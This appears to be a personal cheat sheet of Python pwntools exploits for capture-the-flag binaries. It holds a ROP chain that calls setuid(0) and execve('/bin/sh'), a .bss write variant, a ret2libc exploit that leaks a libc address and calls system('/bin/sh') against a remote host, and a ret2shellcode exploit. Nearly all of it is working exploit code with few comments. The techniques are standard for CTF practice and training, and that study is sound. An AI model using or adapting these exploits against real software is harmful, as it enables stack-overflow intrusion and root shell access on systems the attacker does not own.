from pwn import *
offset = 80
bin = ELF('/challenge/babyrop_level4.0')
p = bin.process()
stack_leak = p.recvline_startswith(b'[LEAK] Your input buffer is located at:')
payload = b'/bin/sh\x00'
payload += b"A" * offset
print(stack_leak)
#My addresses
pop_rax = 0x0000000000401fad
pop_rdi = 0x0000000000401fd5
bin_sh = stack_leak.split()[-1][:-1].decode()
bin_sh = int(bin_sh, 16)
pop_rsi = 0x0000000000401fcd
pop_rdx = 0x0000000000401fa5
syscall = 0x0000000000401fb5
ret = 0x000000000040101a
#setuid(0) - So that I can run the binary as root
payload += p64(pop_rax) + p64(0x69)
payload += p64(pop_rdi) +p64(0)
payload += p64(syscall)
#execve('/bin/sh',0,0)
payload += p64(pop_rax) + p64(0x3b)
payload += p64(pop_rdi) +p64(bin_sh)
payload += p64(pop_rsi) + p64(0)
payload += p64(pop_rdx) + p64(0)
payload += p64(syscall)
p.sendline(payload)
p.interactive()
Alternatively, if /bin/sh is not on the binary, we can use other functions such as read() and gets() to write to .bss
#Syscall to READ first
payload += p64(pop_rax) + p64(0x00)
payload += p64(pop_rdi) +p64(0x00)
#addr of bss via elf.bss()
payload += p64(pop_rsi) + p64(addr_bss)
payload += p64(pop_rdx) + p64(0x8)
payload += p64(syscall)
#Rest of the normal syscall payload
p.sendline(payload)
#Sending /bin/sh string to stdin
p.sendline(b'/bin/sh\x00')
Ret2Libc
#!/usr/bin/env python3
from pwn import *
exe = ELF("./pet_companion_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.binary = exe
# p = process('./pet_companion_patched')
p = remote('94.237.58.155',32207)
# gdb.attach(p)
offset = 72
POP_RSI = 0x400741
POP_RDI = 0x400743
write_plt = exe.sym["write"]
main = exe.sym["main"]
write_got = exe.got["write"]
payload = b"A" * offset
payload += p64(POP_RSI)
payload += p64(write_got)
payload += p64(0x0)
payload += p64(write_plt)
#Returning to main
payload += p64(main)
p.recvuntil(b"status:")
p.clean()
p.sendline(payload)
p.recvuntil(b'Configuring...\n\n')
write_leak = u64(p.read(8))
write_offset = libc.sym["write"]
#using write to leak libc address
libc.address = write_leak - write_offset
bin_sh = next(libc.search(b"/bin/sh"))
system = libc.symbols['system'] # getting system() in libc addr
second_payload = b'A' * offset
#Might need to use other ROP gadgets to clear registers for certain function calls
second_payload += p64(POP_RDI)
second_payload += p64(bin_sh)
second_payload += p64(system)
p.recvuntil(b"status:")
p.clean()
p.sendline(second_payload)
p.interactive()
Ret2ShellCode
from pwn import *
offset = 40
target = process('./pilot')
file = ELF('./pilot')
context.binary = ELF('./pilot')
target.recvuntil("[*]Location:")
leak = int(target.recvline()[:-1],16) #Leak of the address that is being written to
shellcode = asm(shellcraft.sh()) #crafting my shellcode, must be below 40 bytes
print(len(shellcode))
# shellcode = b"\x31\xf6\x48\xbf\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdf\xf7\xe6\x04\x3b\x57\x54\x5f\x0f\x05"
nop_slide = asm('nop') * (offset - len(shellcode)) #nop slide to go to my shellcode
payload = b""
payload += shellcode
payload += b'A' * (offset - len(shellcode)) #serves the same purpose of my shellcode
payload += p64(leak) #goes to the address of the leak thus executing my shell code
target.send(payload)
target.interactive()
Length of shellcode must be below the offset to override EIP/RIP (40 in this case)